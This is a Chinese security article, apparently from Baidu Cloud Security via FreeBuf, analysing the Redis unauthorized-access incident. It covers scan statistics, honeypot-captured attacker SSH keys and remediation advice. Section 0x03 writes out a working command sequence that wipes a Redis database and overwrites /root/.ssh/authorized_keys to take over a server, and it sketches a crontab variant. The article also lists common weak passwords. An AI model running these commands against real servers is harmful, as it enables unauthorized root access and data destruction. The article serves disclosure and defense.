Redis事件综合分析
0×00前言
redis未授权访问一直未被大家重视,直到11月4号,在 这篇blog 上被爆出:redis可以通过写入SSH Key进而控制服务器,安全人员开始大量关注这一事件。
0×01漏洞简介
暴露在公网的redis如果没有启用认证服务或者采用弱口令密钥对时,可被攻击者恶意登录,通过写入SSH公钥或者写入crontab执行命令的方式进而控制服务器。
0×02影响状况
百度泰坦平台对全网默认端口的redis进行探测,通过两天的数据对比,发现redis仍未被甲方公司重视。
其中弱口令的选取如下:
用户名 root admin redis administrator webadmin sysadmin netadmin 密码 123456 12345 123456789 password iloveyou redis root admin 12345678 1234567
国内redis状况:
中国是受危害最大的一个国家。主要数据如下:
国内redis未授权访问的主要城市分布:
0×03漏洞利用
方法一:
通过Redis的set方法,把自己生成的SSH公钥文件写入到user/.ssh的目录下,实现ssh免认证登录。
$ ssh-keygen -t rsa//生成公钥$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt //处理公钥格式写入文件 $ redis-cli -h 192.168.1.11 flushall //登录redis 删除所有数据库以及key(保证写入的数据不掺杂其他数据,慎用) $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit//写入数据$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /root/.ssh/设置保存路径192.168.1.11:6379> config set dbfilename "authorized_keys"设置数据库名192.168.1.11:6379> save保存数据库的内容到/root/.ssh/authorized_keys 保存的authorized_keys会覆盖之前的,会导致之前设置的免登录失效。
方法二:
写入到crontab 里执行。
通过Redis的set1 ‘xxx’命令使得写入数据始终在最前,保证执行成功,但写入数据较大(来源猪猪侠@wooyun)。
crontab 对执行的文件格式要求比较松散。
在centos里写入到/var/spool/cron目录。
参考方法一。
0×04漏洞跟踪
在我们自己部署的多台蜜罐中,采用redis的monitor进行监控。
redis-cli -h xx.xx.xx. monitor >ksdf.log
然后对log进行监控。
其中有台蜜罐在1小时内,就捕获了一条入侵命令。
46.151.53.230 来自于乌克兰的同胞的问候,此IP在我们收集的代理列表中命中,有可能只是一台跳板机器。
他的公钥如下
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC/Z+/g2nHKXaWxCJD1wpFRt8EuBi1ud2kIyouw+YN3JlAmslKAKCiHURwDs4n/gCwQZsw6cK3diLJj2yJ7IeWMaCNN5TeMhKnapyNV4FylrykBWOEJ+BW0Nlp1ntqAmE0rU+UslfroIjxMuzAJlGNbSe4oHiS6X2vdvYD6mYmqptnHjPhE58vqkjMiC1qpqR67G6Is+TX3IWrDLXVv6HQkLMqUVz+LU3m1/lCS/32xjBQwPzRf9ZY8sUb+aGMe0/jtQSiZCvCsm1O2ZlETgWLGgDQMlDfDc3rsOLsSZVG5L018+h6TdcKqKSDstLq76JdHJpBWN3lODKcQxyh4GNG5administrator@redis.io
其他获取到公钥如下
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQC74d4oNJ2iLuPiX6ocXjuDANP1g6kRa0Zf89o0wRwumGKKCxwMJ6jl2pGpmETcFHgFUOUt/bOmnAqpIQUGmsF5Ta9EOKJbwaoxzGMsvenvNF+baGUe7rdAHEfc/IGemsAm6InI8nKUP/Qarm9572ORwoPk/jNY6i5bQLPeuRIcE4wnazQf7PW0qxitTAn2ejhDfbJRMiBm6eBL0ghgjJ3d1EddhKuC11/Iyx+SBo2RdSJM6w+3nIT6PWirlzgQCHcmY+0IaY1vfRpbyH14FEWIjEGNB68agpdO8YGtmSMPh6RxAghdIpbuOEqzrOf/[email protected]
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/[email protected]
总结:
由于Redis 是覆盖写,多个黑客或团体一直在争夺最终的写入。
当如果发现自己的Redis突然被清空,在0号默认库中执行 keys * 命令只显示
"crackit" 或者其他奇怪的key,那么“恭喜”你中招了。
0×05修复建议
1.对自己的Redis加入认证,除非必要,否则不要把自身暴露到公网中,也不要以root启用Redis。 2.iptables 对自用固定的端口开启白名单。 3.查看自己的authorized_keys,以及crontab 任务,如果包含REDIS的开头,请重置。 4.确认自己被hack的机器,请检查 chkrootkit和 rootkit hunter检查rootkit。
http://www.rootkit.nl/projects/rootkit_hunter.html
*本文作者:百度云安全,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)